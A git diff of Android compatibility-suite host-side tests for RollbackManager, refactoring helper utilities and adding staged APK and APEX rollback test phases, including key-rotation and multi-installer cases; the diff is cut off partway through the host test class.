index 1e8040d..4e8cef5 100644
--- a/hostsidetests/rollback/app/src/com/android/cts/rollback/host/app/HostTestHelper.java
+++ b/hostsidetests/rollback/app/src/com/android/cts/rollback/host/app/HostTestHelper.java
@@ -21,14 +21,16 @@
 import static com.google.common.truth.Truth.assertThat;
 
 import android.Manifest;
+import android.content.pm.PackageInstaller;
 import android.content.rollback.RollbackInfo;
+import android.util.Log;
 
-import androidx.test.InstrumentationRegistry;
-
-import com.android.cts.rollback.lib.Install;
+import com.android.cts.install.lib.Install;
+import com.android.cts.install.lib.InstallUtils;
+import com.android.cts.install.lib.TestApp;
+import com.android.cts.install.lib.Uninstall;
 import com.android.cts.rollback.lib.Rollback;
-import com.android.cts.rollback.lib.TestApp;
-import com.android.cts.rollback.lib.Utils;
+import com.android.cts.rollback.lib.RollbackUtils;
 
 import org.junit.After;
 import org.junit.Before;
@@ -43,14 +45,18 @@
  */
 @RunWith(JUnit4.class)
 public class HostTestHelper {
+    private static final String TAG = "RollbackTest";
+
+    private static final TestApp Apex2SignedBobRotRollback = new TestApp(
+            "Apex2SignedBobRotRollback", TestApp.Apex, 2, /*isApex*/true,
+            "com.android.apex.cts.shim.v2_signed_bob_rot_rollback.apex");
 
     /**
      * Adopts common permissions needed to test rollbacks.
      */
     @Before
     public void setup() throws InterruptedException, IOException {
-        InstrumentationRegistry.getInstrumentation().getUiAutomation()
-                .adoptShellPermissionIdentity(
+        InstallUtils.adoptShellPermissionIdentity(
                     Manifest.permission.INSTALL_PACKAGES,
                     Manifest.permission.DELETE_PACKAGES,
                     Manifest.permission.TEST_MANAGE_ROLLBACKS);
@@ -61,24 +67,44 @@
      */
     @After
     public void teardown() throws InterruptedException, IOException {
-        InstrumentationRegistry.getInstrumentation().getUiAutomation()
-                .dropShellPermissionIdentity();
+        InstallUtils.dropShellPermissionIdentity();
     }
 
+    /**
+     * Called by host side @Before/@After methods to clean up leftover sessions from last test
+     * so staged-installs won't fail.
+     */
+    @Test
+    public void cleanUp() throws Exception {
+        PackageInstaller packageInstaller = InstallUtils.getPackageInstaller();
+        packageInstaller.getStagedSessions().forEach(sessionInfo -> {
+            if (sessionInfo.getParentSessionId() != PackageInstaller.SessionInfo.INVALID_ID
+                    || sessionInfo.isStagedSessionApplied()
+                    || sessionInfo.isStagedSessionFailed()) {
+                return;
+            }
+            try {
+                Log.i(TAG, "abandoning session " + sessionInfo.getSessionId());
+                packageInstaller.abandonSession(sessionInfo.getSessionId());
+            } catch (Exception e) {
+                Log.e(TAG, "Failed to abandon session " + sessionInfo.getSessionId(), e);
+            }
+        });
+
+        Uninstall.packages(TestApp.A);
+        Uninstall.packages(TestApp.B);
+    }
 
     /**
      * Test rollbacks of staged installs involving only apks.
      * Commits TestApp.A2 as a staged install with rollback enabled.
      */
     @Test
-    public void testApkOnlyEnableRollback() throws Exception {
-        assertThat(Utils.getInstalledVersion(TestApp.A)).isEqualTo(-1);
+    public void testApkOnlyStagedRollback_Phase1() throws Exception {
+        assertThat(InstallUtils.getInstalledVersion(TestApp.A)).isEqualTo(-1);
 
         Install.single(TestApp.A1).commit();
         Install.single(TestApp.A2).setStaged().setEnableRollback().commit();
-
-        // At this point, the host test driver will reboot the device and run
-        // testApkOnlyCommitRollback().
     }
 
     /**
@@ -87,16 +113,18 @@
      * rollback.
      */
     @Test
-    public void testApkOnlyCommitRollback() throws Exception {
-        assertThat(Utils.getInstalledVersion(TestApp.A)).isEqualTo(2);
-        RollbackInfo available = Utils.getAvailableRollback(TestApp.A);
+    public void testApkOnlyStagedRollback_Phase2() throws Exception {
+        assertThat(InstallUtils.getInstalledVersion(TestApp.A)).isEqualTo(2);
+        InstallUtils.processUserData(TestApp.A);
+
+        RollbackInfo available = RollbackUtils.getAvailableRollback(TestApp.A);
         assertThat(available).isStaged();
         assertThat(available).packagesContainsExactly(
                 Rollback.from(TestApp.A2).to(TestApp.A1));
-        assertThat(Utils.getCommittedRollback(TestApp.A)).isNull();
+        assertThat(RollbackUtils.getCommittedRollback(TestApp.A)).isNull();
 
-        Utils.rollback(available.getRollbackId(), TestApp.A2);
-        RollbackInfo committed = Utils.getCommittedRollback(TestApp.A);
+        RollbackUtils.rollback(available.getRollbackId(), TestApp.A2);
+        RollbackInfo committed = RollbackUtils.getCommittedRollback(TestApp.A);
         assertThat(committed).hasRollbackId(available.getRollbackId());
         assertThat(committed).isStaged();
         assertThat(committed).packagesContainsExactly(
@@ -106,11 +134,8 @@
 
         // Note: The app is not rolled back until after the rollback is staged
         // and the device has been rebooted.
-        Utils.waitForSessionReady(committed.getCommittedSessionId());
-        assertThat(Utils.getInstalledVersion(TestApp.A)).isEqualTo(2);
-
-        // At this point, the host test driver will reboot the device and run
-        // testApkOnlyConfirmRollback().
+        InstallUtils.waitForSessionReady(committed.getCommittedSessionId());
+        assertThat(InstallUtils.getInstalledVersion(TestApp.A)).isEqualTo(2);
     }
 
     /**
@@ -118,10 +143,11 @@
      * Confirms TestApp.A2 was rolled back.
      */
     @Test
-    public void testApkOnlyConfirmRollback() throws Exception {
-        assertThat(Utils.getInstalledVersion(TestApp.A)).isEqualTo(1);
+    public void testApkOnlyStagedRollback_Phase3() throws Exception {
+        assertThat(InstallUtils.getInstalledVersion(TestApp.A)).isEqualTo(1);
+        InstallUtils.processUserData(TestApp.A);
 
-        RollbackInfo committed = Utils.getCommittedRollback(TestApp.A);
+        RollbackInfo committed = RollbackUtils.getCommittedRollback(TestApp.A);
         assertThat(committed).isStaged();
         assertThat(committed).packagesContainsExactly(
                 Rollback.from(TestApp.A2).to(TestApp.A1));
@@ -130,20 +156,170 @@
     }
 
     /**
+     * Test rollbacks of multiple staged installs involving only apks.
+     * Commits TestApp.A2 and TestApp.B2 as a staged install with rollback enabled.
+     */
+    @Test
+    public void testApkOnlyMultipleStagedRollback_Phase1() throws Exception {
+        assertThat(InstallUtils.getInstalledVersion(TestApp.A)).isEqualTo(-1);
+        assertThat(InstallUtils.getInstalledVersion(TestApp.B)).isEqualTo(-1);
+
+        Install.single(TestApp.A1).commit();
+        Install.single(TestApp.A2).setStaged().setEnableRollback().commit();
+
+        Install.single(TestApp.B1).commit();
+        Install.single(TestApp.B2).setStaged().setEnableRollback().commit();
+    }
+
+    /**
+     * Test rollbacks of multiple staged installs involving only apks.
+     * Confirms staged rollbacks are available for TestApp.A2 and TestApp.b2, and commits the
+     * rollback.
+     */
+    @Test
+    public void testApkOnlyMultipleStagedRollback_Phase2() throws Exception {
+        // Process TestApp.A
+        assertThat(InstallUtils.getInstalledVersion(TestApp.A)).isEqualTo(2);
+        InstallUtils.processUserData(TestApp.A);
+        RollbackInfo available = RollbackUtils.getAvailableRollback(TestApp.A);
+        assertThat(available).isStaged();
+        assertThat(available).packagesContainsExactly(
+                Rollback.from(TestApp.A2).to(TestApp.A1));
+        assertThat(RollbackUtils.getCommittedRollback(TestApp.A)).isNull();
+
+        RollbackUtils.rollback(available.getRollbackId(), TestApp.A2);
+        RollbackInfo committed = RollbackUtils.getCommittedRollback(TestApp.A);
+        assertThat(committed).hasRollbackId(available.getRollbackId());
+        assertThat(committed).isStaged();
+        assertThat(committed).packagesContainsExactly(
+                Rollback.from(TestApp.A2).to(TestApp.A1));
+        assertThat(committed).causePackagesContainsExactly(TestApp.A2);
+        assertThat(committed.getCommittedSessionId()).isNotEqualTo(-1);
+        InstallUtils.waitForSessionReady(committed.getCommittedSessionId());
+        assertThat(InstallUtils.getInstalledVersion(TestApp.A)).isEqualTo(2);
+
+        // Process TestApp.B
+        assertThat(InstallUtils.getInstalledVersion(TestApp.B)).isEqualTo(2);
+        InstallUtils.processUserData(TestApp.B);
+        available = RollbackUtils.getAvailableRollback(TestApp.B);
+        assertThat(available).isStaged();
+        assertThat(available).packagesContainsExactly(
+                Rollback.from(TestApp.B2).to(TestApp.B1));
+        assertThat(RollbackUtils.getCommittedRollback(TestApp.B)).isNull();
+
+        RollbackUtils.rollback(available.getRollbackId(), TestApp.B2);
+        committed = RollbackUtils.getCommittedRollback(TestApp.B);
+        assertThat(committed).hasRollbackId(available.getRollbackId());
+        assertThat(committed).isStaged();
+        assertThat(committed).packagesContainsExactly(
+                Rollback.from(TestApp.B2).to(TestApp.B1));
+        assertThat(committed).causePackagesContainsExactly(TestApp.B2);
+        assertThat(committed.getCommittedSessionId()).isNotEqualTo(-1);
+        InstallUtils.waitForSessionReady(committed.getCommittedSessionId());
+        assertThat(InstallUtils.getInstalledVersion(TestApp.A)).isEqualTo(2);
+    }
+
+    /**
+     * Test rollbacks of staged installs involving only apks.
+     * Confirms TestApp.A2 and TestApp.B2 was rolled back.
+     */
+    @Test
+    public void testApkOnlyMultipleStagedRollback_Phase3() throws Exception {
+        // Process TestApp.A
+        assertThat(InstallUtils.getInstalledVersion(TestApp.A)).isEqualTo(1);
+        InstallUtils.processUserData(TestApp.A);
+        RollbackInfo committed = RollbackUtils.getCommittedRollback(TestApp.A);
+        assertThat(committed).isStaged();
+        assertThat(committed).packagesContainsExactly(
+                Rollback.from(TestApp.A2).to(TestApp.A1));
+        assertThat(committed).causePackagesContainsExactly(TestApp.A2);
+        assertThat(committed.getCommittedSessionId()).isNotEqualTo(-1);
+
+        // Process TestApp.B
+        assertThat(InstallUtils.getInstalledVersion(TestApp.B)).isEqualTo(1);
+        InstallUtils.processUserData(TestApp.B);
+        committed = RollbackUtils.getCommittedRollback(TestApp.B);
+        assertThat(committed).isStaged();
+        assertThat(committed).packagesContainsExactly(
+                Rollback.from(TestApp.B2).to(TestApp.B1));
+        assertThat(committed).causePackagesContainsExactly(TestApp.B2);
+        assertThat(committed.getCommittedSessionId()).isNotEqualTo(-1);
+    }
+
+    /**
+     * Test partial rollbacks of multiple staged installs involving only apks.
+     * Commits TestApp.A2 and TestApp.B2 as a staged install with rollback enabled.
+     */
+    @Test
+    public void testApkOnlyMultipleStagedPartialRollback_Phase1() throws Exception {
+        assertThat(InstallUtils.getInstalledVersion(TestApp.A)).isEqualTo(-1);
+        assertThat(InstallUtils.getInstalledVersion(TestApp.B)).isEqualTo(-1);
+
+        Install.single(TestApp.A1).commit();
+        Install.single(TestApp.A2).setStaged().setEnableRollback().commit();
+
+        Install.single(TestApp.B1).commit();
+        Install.single(TestApp.B2).setStaged().commit();
+    }
+
+    /**
+     * Test partial rollbacks of multiple staged installs involving only apks.
+     * Confirms staged rollbacks are available for TestApp.A2, and commits the
+     * rollback.
+     */
+    @Test
+    public void testApkOnlyMultipleStagedPartialRollback_Phase2() throws Exception {
+        assertThat(InstallUtils.getInstalledVersion(TestApp.A)).isEqualTo(2);
+        InstallUtils.processUserData(TestApp.A);
+        RollbackInfo available = RollbackUtils.getAvailableRollback(TestApp.A);
+        assertThat(available).isStaged();
+        assertThat(available).packagesContainsExactly(
+                Rollback.from(TestApp.A2).to(TestApp.A1));
+        assertThat(RollbackUtils.getCommittedRollback(TestApp.A)).isNull();
+
+        RollbackUtils.rollback(available.getRollbackId(), TestApp.A2);
+        RollbackInfo committed = RollbackUtils.getCommittedRollback(TestApp.A);
+        assertThat(committed).hasRollbackId(available.getRollbackId());
+        assertThat(committed).isStaged();
+        assertThat(committed).packagesContainsExactly(
+                Rollback.from(TestApp.A2).to(TestApp.A1));
+        assertThat(committed).causePackagesContainsExactly(TestApp.A2);
+        assertThat(committed.getCommittedSessionId()).isNotEqualTo(-1);
+        InstallUtils.waitForSessionReady(committed.getCommittedSessionId());
+        assertThat(InstallUtils.getInstalledVersion(TestApp.A)).isEqualTo(2);
+    }
+
+    /**
+     * Test partial rollbacks of staged installs involving only apks.
+     * Confirms TestApp.A2 was rolled back.
+     */
+    @Test
+    public void testApkOnlyMultipleStagedPartialRollback_Phase3() throws Exception {
+        // Process TestApp.A
+        assertThat(InstallUtils.getInstalledVersion(TestApp.A)).isEqualTo(1);
+        InstallUtils.processUserData(TestApp.A);
+        RollbackInfo committed = RollbackUtils.getCommittedRollback(TestApp.A);
+        assertThat(committed).isStaged();
+        assertThat(committed).packagesContainsExactly(
+                Rollback.from(TestApp.A2).to(TestApp.A1));
+        assertThat(committed).causePackagesContainsExactly(TestApp.A2);
+        assertThat(committed.getCommittedSessionId()).isNotEqualTo(-1);
+
+        // Process TestApp.B
+        assertThat(InstallUtils.getInstalledVersion(TestApp.B)).isEqualTo(2);
+    }
+
+    /**
      * Test rollbacks of staged installs involving only apex.
      * Install first version phase.
      *
-     * <p> We can't rollback to version 1, which is already installed, so we start by installing
-     * version 2. The test ultimately rolls back from 3 to 2.
+     * <p> We start by installing version 2. The test ultimately rolls back from 3 to 2.
      */
     @Test
-    public void testApexOnlyInstallFirstVersion() throws Exception {
-        assertThat(Utils.getInstalledVersion(TestApp.Apex)).isEqualTo(1);
+    public void testApexOnlyStagedRollback_Phase1() throws Exception {
+        assertThat(InstallUtils.getInstalledVersion(TestApp.Apex)).isEqualTo(1);
 
         Install.single(TestApp.Apex2).setStaged().commit();
-
-        // At this point, the host test driver will reboot the device and run
-        // testApexOnlyEnableRollback().
     }
 
     /**
@@ -151,12 +327,9 @@
      * Enable rollback phase.
      */
     @Test
-    public void testApexOnlyEnableRollback() throws Exception {
-        assertThat(Utils.getInstalledVersion(TestApp.Apex)).isEqualTo(2);
+    public void testApexOnlyStagedRollback_Phase2() throws Exception {
+        assertThat(InstallUtils.getInstalledVersion(TestApp.Apex)).isEqualTo(2);
         Install.single(TestApp.Apex3).setStaged().setEnableRollback().commit();
-
-        // At this point, the host test driver will reboot the device and run
-        // testApexOnlyCommitRollback().
     }
 
     /**
@@ -164,15 +337,15 @@
      * Commit rollback phase.
      */
     @Test
-    public void testApexOnlyCommitRollback() throws Exception {
-        assertThat(Utils.getInstalledVersion(TestApp.Apex)).isEqualTo(3);
-        RollbackInfo available = Utils.getAvailableRollback(TestApp.Apex);
+    public void testApexOnlyStagedRollback_Phase3() throws Exception {
+        assertThat(InstallUtils.getInstalledVersion(TestApp.Apex)).isEqualTo(3);
+        RollbackInfo available = RollbackUtils.getAvailableRollback(TestApp.Apex);
         assertThat(available).isStaged();
         assertThat(available).packagesContainsExactly(
                 Rollback.from(TestApp.Apex3).to(TestApp.Apex2));
 
-        Utils.rollback(available.getRollbackId(), TestApp.Apex3);
-        RollbackInfo committed = Utils.getCommittedRollbackById(available.getRollbackId());
+        RollbackUtils.rollback(available.getRollbackId(), TestApp.Apex3);
+        RollbackInfo committed = RollbackUtils.getCommittedRollbackById(available.getRollbackId());
         assertThat(committed).isNotNull();
         assertThat(committed).isStaged();
         assertThat(committed).packagesContainsExactly(
@@ -182,11 +355,8 @@
 
         // Note: The app is not rolled back until after the rollback is staged
         // and the device has been rebooted.
-        Utils.waitForSessionReady(committed.getCommittedSessionId());
-        assertThat(Utils.getInstalledVersion(TestApp.Apex)).isEqualTo(3);
-
-        // At this point, the host test driver will reboot the device and run
-        // testApexOnlyConfirmRollback().
+        InstallUtils.waitForSessionReady(committed.getCommittedSessionId());
+        assertThat(InstallUtils.getInstalledVersion(TestApp.Apex)).isEqualTo(3);
     }
 
     /**
@@ -194,32 +364,61 @@
      * Confirm rollback phase.
      */
     @Test
-    public void testApexOnlyConfirmRollback() throws Exception {
-        assertThat(Utils.getInstalledVersion(TestApp.Apex)).isEqualTo(2);
+    public void testApexOnlyStagedRollback_Phase4() throws Exception {
+        assertThat(InstallUtils.getInstalledVersion(TestApp.Apex)).isEqualTo(2);
 
         // Rollback data for shim apex will remain in storage since the apex cannot be completely
         // removed and thus the rollback data won't be expired. Unfortunately, we can't also delete
         // the rollback data manually from storage.
-
-        // At this point, the host test driver will reboot the device to complete the uninstall.
     }
 
+    /**
+     * Test rollback to system version involving apex only
+     */
+    @Test
+    public void testApexOnlySystemVersionStagedRollback_Phase1() throws Exception {
+        assertThat(InstallUtils.getInstalledVersion(TestApp.Apex)).isEqualTo(1);
+        Install.single(TestApp.Apex2).setStaged().setEnableRollback().commit();
+    }
+
+    @Test
+    public void testApexOnlySystemVersionStagedRollback_Phase2() throws Exception {
+        assertThat(InstallUtils.getInstalledVersion(TestApp.Apex)).isEqualTo(2);
+        RollbackInfo available = RollbackUtils.getAvailableRollback(TestApp.Apex);
+        assertThat(available).isStaged();
+        assertThat(available).packagesContainsExactly(
+                Rollback.from(TestApp.Apex2).to(TestApp.Apex1));
+
+        RollbackUtils.rollback(available.getRollbackId(), TestApp.Apex2);
+        RollbackInfo committed = RollbackUtils.getCommittedRollbackById(available.getRollbackId());
+        assertThat(committed).isNotNull();
+        assertThat(committed).isStaged();
+        assertThat(committed).packagesContainsExactly(
+                Rollback.from(TestApp.Apex2).to(TestApp.Apex1));
+        assertThat(committed).causePackagesContainsExactly(TestApp.Apex2);
+        assertThat(committed.getCommittedSessionId()).isNotEqualTo(-1);
+
+        // Note: The app is not rolled back until after the rollback is staged
+        // and the device has been rebooted.
+        InstallUtils.waitForSessionReady(committed.getCommittedSessionId());
+        assertThat(InstallUtils.getInstalledVersion(TestApp.Apex)).isEqualTo(2);
+    }
+
+    @Test
+    public void testApexOnlySystemVersionStagedRollback_Phase3() throws Exception {
+        assertThat(InstallUtils.getInstalledVersion(TestApp.Apex)).isEqualTo(1);
+    }
 
     /**
      * Test rollbacks of staged installs involving apex and apk.
      * Install first version phase.
-     *
-     * <p> See {@link #testApexOnlyInstallFirstVersion()}
      */
     @Test
-    public void testApexAndApkInstallFirstVersion() throws Exception {
-        assertThat(Utils.getInstalledVersion(TestApp.Apex)).isEqualTo(1);
-        assertThat(Utils.getInstalledVersion(TestApp.A)).isEqualTo(-1);
+    public void testApexAndApkStagedRollback_Phase1() throws Exception {
+        assertThat(InstallUtils.getInstalledVersion(TestApp.Apex)).isEqualTo(1);
+        assertThat(InstallUtils.getInstalledVersion(TestApp.A)).isEqualTo(-1);
 
         Install.multi(TestApp.Apex2, TestApp.A1).setStaged().commit();
-
-        // At this point, the host test driver will reboot the device and run
-        // testApexOnlyEnableRollback().
     }
 
     /**
@@ -227,13 +426,10 @@
      * Enable rollback phase.
      */
     @Test
-    public void testApexAndApkEnableRollback() throws Exception {
-        assertThat(Utils.getInstalledVersion(TestApp.Apex)).isEqualTo(2);
-        assertThat(Utils.getInstalledVersion(TestApp.A)).isEqualTo(1);
+    public void testApexAndApkStagedRollback_Phase2() throws Exception {
+        assertThat(InstallUtils.getInstalledVersion(TestApp.Apex)).isEqualTo(2);
+        assertThat(InstallUtils.getInstalledVersion(TestApp.A)).isEqualTo(1);
         Install.multi(TestApp.Apex3, TestApp.A2).setStaged().setEnableRollback().commit();
-
-        // At this point, the host test driver will reboot the device and run
-        // testApexOnlyCommitRollback().
     }
 
     /**
@@ -241,17 +437,19 @@
      * Commit rollback phase.
      */
     @Test
-    public void testApexAndApkCommitRollback() throws Exception {
-        assertThat(Utils.getInstalledVersion(TestApp.Apex)).isEqualTo(3);
-        assertThat(Utils.getInstalledVersion(TestApp.A)).isEqualTo(2);
-        RollbackInfo available = Utils.getAvailableRollback(TestApp.Apex);
+    public void testApexAndApkStagedRollback_Phase3() throws Exception {
+        assertThat(InstallUtils.getInstalledVersion(TestApp.Apex)).isEqualTo(3);
+        assertThat(InstallUtils.getInstalledVersion(TestApp.A)).isEqualTo(2);
+        InstallUtils.processUserData(TestApp.A);
+
+        RollbackInfo available = RollbackUtils.getAvailableRollback(TestApp.Apex);
         assertThat(available).isStaged();
         assertThat(available).packagesContainsExactly(
                 Rollback.from(TestApp.Apex3).to(TestApp.Apex2),
                 Rollback.from(TestApp.A2).to(TestApp.A1));
 
-        Utils.rollback(available.getRollbackId(), TestApp.Apex3, TestApp.A2);
-        RollbackInfo committed = Utils.getCommittedRollback(TestApp.A);
+        RollbackUtils.rollback(available.getRollbackId(), TestApp.Apex3, TestApp.A2);
+        RollbackInfo committed = RollbackUtils.getCommittedRollback(TestApp.A);
         assertThat(committed).isNotNull();
         assertThat(committed).isStaged();
         assertThat(committed).packagesContainsExactly(
@@ -262,12 +460,9 @@
 
         // Note: The app is not rolled back until after the rollback is staged
         // and the device has been rebooted.
-        Utils.waitForSessionReady(committed.getCommittedSessionId());
-        assertThat(Utils.getInstalledVersion(TestApp.Apex)).isEqualTo(3);
-        assertThat(Utils.getInstalledVersion(TestApp.A)).isEqualTo(2);
-
-        // At this point, the host test driver will reboot the device and run
-        // testApexOnlyConfirmRollback().
+        InstallUtils.waitForSessionReady(committed.getCommittedSessionId());
+        assertThat(InstallUtils.getInstalledVersion(TestApp.Apex)).isEqualTo(3);
+        assertThat(InstallUtils.getInstalledVersion(TestApp.A)).isEqualTo(2);
     }
 
     /**
@@ -275,10 +470,12 @@
      * Confirm rollback phase.
      */
     @Test
-    public void testApexAndApkConfirmRollback() throws Exception {
-        assertThat(Utils.getInstalledVersion(TestApp.Apex)).isEqualTo(2);
+    public void testApexAndApkStagedRollback_Phase4() throws Exception {
+        assertThat(InstallUtils.getInstalledVersion(TestApp.Apex)).isEqualTo(2);
+        assertThat(InstallUtils.getInstalledVersion(TestApp.A)).isEqualTo(1);
+        InstallUtils.processUserData(TestApp.A);
 
-        RollbackInfo committed = Utils.getCommittedRollback(TestApp.A);
+        RollbackInfo committed = RollbackUtils.getCommittedRollback(TestApp.A);
         assertThat(committed).isStaged();
         assertThat(committed).packagesContainsExactly(
                 Rollback.from(TestApp.Apex3).to(TestApp.Apex2),
@@ -289,8 +486,6 @@
         // Rollback data for shim apex will remain in storage since the apex cannot be completely
         // removed and thus the rollback data won't be expired. Unfortunately, we can't also delete
         // the rollback data manually from storage due to SEPolicy rules.
-
-        // At this point, the host test driver will reboot the device to complete the uninstall.
     }
 
     /**
@@ -298,13 +493,10 @@
      * Enable rollback phase.
      */
     @Test
-    public void testApexRollbackExpirationEnableRollback() throws Exception {
-        assertThat(Utils.getInstalledVersion(TestApp.Apex)).isEqualTo(1);
+    public void testApexRollbackExpiration_Phase1() throws Exception {
+        assertThat(InstallUtils.getInstalledVersion(TestApp.Apex)).isEqualTo(1);
 
         Install.single(TestApp.Apex2).setStaged().setEnableRollback().commit();
-
-        // At this point, the host test driver will reboot the device and run
-        // testApexRollbackExpirationUpdateApex().
     }
 
     /**
@@ -312,13 +504,10 @@
      * Update apex phase.
      */
     @Test
-    public void testApexRollbackExpirationUpdateApex() throws Exception {
-        assertThat(Utils.getInstalledVersion(TestApp.Apex)).isEqualTo(2);
-        assertThat(Utils.getAvailableRollback(TestApp.Apex)).isNotNull();
+    public void testApexRollbackExpiration_Phase2() throws Exception {
+        assertThat(InstallUtils.getInstalledVersion(TestApp.Apex)).isEqualTo(2);
+        assertThat(RollbackUtils.getAvailableRollback(TestApp.Apex)).isNotNull();
         Install.single(TestApp.Apex3).setStaged().commit();
-
-        // At this point, the host test driver will reboot the device and run
-        // testApexRollbackExpirationConfirmExpiration().
     }
 
     /**
@@ -326,8 +515,51 @@
      * Confirm expiration phase.
      */
     @Test
-    public void testApexRollbackExpirationConfirmExpiration() throws Exception {
-        assertThat(Utils.getInstalledVersion(TestApp.Apex)).isEqualTo(3);
-        assertThat(Utils.getAvailableRollback(TestApp.Apex)).isNull();
+    public void testApexRollbackExpiration_Phase3() throws Exception {
+        assertThat(InstallUtils.getInstalledVersion(TestApp.Apex)).isEqualTo(3);
+        assertThat(RollbackUtils.getAvailableRollback(TestApp.Apex)).isNull();
+    }
+
+    /**
+     * Test rollback with key downgrade for apex only
+     */
+    @Test
+    public void testApexKeyRotationStagedRollback_Phase1() throws Exception {
+        assertThat(InstallUtils.getInstalledVersion(TestApp.Apex)).isEqualTo(1);
+        Install.single(Apex2SignedBobRotRollback).setStaged().setEnableRollback().commit();
+    }
+
+    @Test
+    public void testApexKeyRotationStagedRollback_Phase2() throws Exception {
+        assertThat(InstallUtils.getInstalledVersion(TestApp.Apex)).isEqualTo(2);
+        RollbackInfo available = RollbackUtils.getAvailableRollback(TestApp.Apex);
+        assertThat(available).isStaged();
+        assertThat(available).packagesContainsExactly(
+                Rollback.from(Apex2SignedBobRotRollback).to(TestApp.Apex1));
+
+        RollbackUtils.rollback(available.getRollbackId(), Apex2SignedBobRotRollback);
+        RollbackInfo committed = RollbackUtils.getCommittedRollbackById(available.getRollbackId());
+        assertThat(committed).isNotNull();
+        assertThat(committed).isStaged();
+        assertThat(committed).packagesContainsExactly(
+                Rollback.from(Apex2SignedBobRotRollback).to(TestApp.Apex1));
+        assertThat(committed).causePackagesContainsExactly(Apex2SignedBobRotRollback);
+        assertThat(committed.getCommittedSessionId()).isNotEqualTo(-1);
+
+        // Note: The app is not rolled back until after the rollback is staged
+        // and the device has been rebooted.
+        InstallUtils.waitForSessionReady(committed.getCommittedSessionId());
+        assertThat(InstallUtils.getInstalledVersion(TestApp.Apex)).isEqualTo(2);
+    }
+
+    @Test
+    public void testApexKeyRotationStagedRollback_Phase3() throws Exception {
+        assertThat(InstallUtils.getInstalledVersion(TestApp.Apex)).isEqualTo(1);
+    }
+
+    @Test
+    public void testApkRollbackByAnotherInstaller_Phase1() throws Exception {
+        Install.single(TestApp.A1).commit();
+        Install.single(TestApp.A2).setEnableRollback().commit();
     }
 }
diff --git a/hostsidetests/rollback/app2/AndroidManifest.xml b/hostsidetests/rollback/app2/AndroidManifest.xml
new file mode 100644
index 0000000..be6d483
--- /dev/null
+++ b/hostsidetests/rollback/app2/AndroidManifest.xml
@@ -0,0 +1,30 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2019 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          package="com.android.cts.rollback.host.app2" >
+
+    <application>
+        <receiver android:name="com.android.cts.install.lib.LocalIntentSender"
+                  android:exported="true" />
+        <uses-library android:name="android.test.runner" />
+    </application>
+
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+                     android:targetPackage="com.android.cts.rollback.host.app2"
+                     android:label="Helper for CTS host tests of RollbackManager"/>
+
+</manifest>
diff --git a/hostsidetests/rollback/app2/src/com/android/cts/rollback/host/app2/HostTestHelper.java b/hostsidetests/rollback/app2/src/com/android/cts/rollback/host/app2/HostTestHelper.java
new file mode 100644
index 0000000..8f8bfac
--- /dev/null
+++ b/hostsidetests/rollback/app2/src/com/android/cts/rollback/host/app2/HostTestHelper.java
@@ -0,0 +1,72 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.rollback.host.app2;
+
+import static com.android.cts.rollback.lib.RollbackInfoSubject.assertThat;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.Manifest;
+import android.content.rollback.RollbackInfo;
+
+import com.android.cts.install.lib.InstallUtils;
+import com.android.cts.install.lib.TestApp;
+import com.android.cts.rollback.lib.Rollback;
+import com.android.cts.rollback.lib.RollbackUtils;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.JUnit4;
+
+import java.io.IOException;
+
+/**
+ * On-device helper test methods used for host-driven rollback tests.
+ */
+@RunWith(JUnit4.class)
+public class HostTestHelper {
+    /**
+     * Adopts common permissions needed to test rollbacks.
+     */
+    @Before
+    public void setup() throws InterruptedException, IOException {
+        InstallUtils.adoptShellPermissionIdentity(
+                    Manifest.permission.INSTALL_PACKAGES,
+                    Manifest.permission.DELETE_PACKAGES,
+                    Manifest.permission.TEST_MANAGE_ROLLBACKS);
+    }
+
+    /**
+     * Drops adopted shell permissions.
+     */
+    @After
+    public void teardown() throws InterruptedException, IOException {
+        InstallUtils.dropShellPermissionIdentity();
+    }
+
+    @Test
+    public void testApkRollbackByAnotherInstaller_Phase2() throws Exception {
+        RollbackInfo rollbackA = RollbackUtils.waitForAvailableRollback(TestApp.A);
+        assertThat(rollbackA).packagesContainsExactly(Rollback.from(TestApp.A2).to(TestApp.A1));
+        RollbackUtils.rollback(rollbackA.getRollbackId());
+        // TODO(b/127452064): fix the rollback bug and enable the assertion
+        // Rollback should fail since TestApp.A is installed by another installer.
+        // assertThat(InstallUtils.getInstalledVersion(TestApp.A)).isEqualTo(2);
+    }
+}
diff --git a/hostsidetests/rollback/src/com/android/cts/rollback/host/RollbackManagerHostTest.java b/hostsidetests/rollback/src/com/android/cts/rollback/host/RollbackManagerHostTest.java
index 60e154c..2d616d1 100644
--- a/hostsidetests/rollback/src/com/android/cts/rollback/host/RollbackManagerHostTest.java
+++ b/hostsidetests/rollback/src/com/android/cts/rollback/host/RollbackManagerHostTest.java
@@ -20,12 +20,14 @@
 
 import static org.junit.Assume.assumeTrue;
 
+import com.android.ddmlib.Log;
 import com.android.tradefed.device.DeviceNotAvailableException;
 import com.android.tradefed.device.ITestDevice;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
 
 import org.junit.After;
+import org.junit.Before;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
@@ -35,8 +37,9 @@
 @RunWith(DeviceJUnit4ClassRunner.class)
